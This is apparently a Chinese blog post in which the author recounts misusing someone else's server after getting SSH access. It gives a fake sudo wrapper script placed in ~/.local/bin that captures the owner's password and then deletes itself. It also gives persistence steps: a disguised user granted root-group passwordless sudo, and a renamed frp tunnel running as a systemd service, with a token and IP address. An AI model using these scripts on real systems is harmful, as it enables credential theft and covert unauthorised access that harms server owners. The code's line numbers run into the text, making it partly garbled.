一个偷用别人服务器的一个记录
前几天获取到了一个SSH的远程连接方式,连接的主人是有sudo权限的,现在我想也要获取到sudo的权限,然后我就写了下面的这个脚本用来获取sudo密码
1touch ~/.local/bin/sudo2chmod +x ~/.local/bin/sudo3vim ~/.local/bin/sudo1#!/bin/bash2
3echo -n "[sudo] password for $USER: "4read -s password5echo6
7echo $password >> ~/.local/pass8
9file=~/.local/pass # 文件名10line_count=$(wc -l < "$file")11if [[ $line_count -gt 2 ]]; then12 echo ERROR: reconnect terminal!13 rm -rf ~/.local/bin/sudo14fi~/.local/bin/ 目录会在用户登录的时候添加到 $PATH 环境变量当中,配置可在 .profile 文件查看。
这样用户再执行 sudo 命令的时候就会默认执行 ~/.local/bin/sudo 原本的 /usr/bin/sudo 不再执行,但是这个脚本只会将接下来输入的密码记录下来,真正的 sudo 操作没有进行,在执行两次之后会提示 ERROR: reconnect terminal!,这时候这个人会疑问为什么不管用,然后再试一下,然后再试一下,然后再试一下就提示了,这个时候脚本会对自己进行删除,再执行的话会出错,只能进行重新登陆。
其实这个脚本稍微注意一点就能发现问题,但是我就成功地骗到了sudo的密码
接下来的操作
创建用户
1# 创建一个home目录在指定位置的用户2# 因为我是先添加了一个无家的用户 所以才有下面的操作3# 1004为uid 可使用 id <username> 来查看4sudo usermod -d /usr/systemp/temp -u 1004 systemp5sudo chown -R systemp:systemp temp/6
7# 添加新用户到 root 用户组8sudo usermod -aG root <username>9groups <username>10
11# 将root用户组添加到sudo列表 下面的配置会让sudo不需要输入密码12
13$ visudo14
15%root ALL=(ALL:ALL) NOPASSWD: ALL启动frp服务
我将 frp 名称改成了 radlast 下面这个是一个启动脚本
1sudo touch /usr/systemp/services/radlast/start2sudo chmod +x /usr/systemp/services/radlast/start3sudo vim /usr/systemp/services/radlast/start1#!/bin/bash2
3cd /usr/systemp/services/radlast4
5./radlast -c last.ini添加一个 systemd 配置文件
1sudo vim /etc/systemd/system/radlast.service1[Unit]2Description=Radlast3After=network.target4
5[Service]6User=systemp7ExecStart=/usr/systemp/services/radlast/start8Restart=always9
10[Install]11WantedBy=default.target1# 重新加载配置文件2sudo systemctl daemon-reload3
4sudo systemctl start radlast.service5sudo systemctl enable radlast.service只用这些端口 24101-24199
1[common]2bind_port = 628373token = frpservice:1544nk.cglang.com 101.6.30.228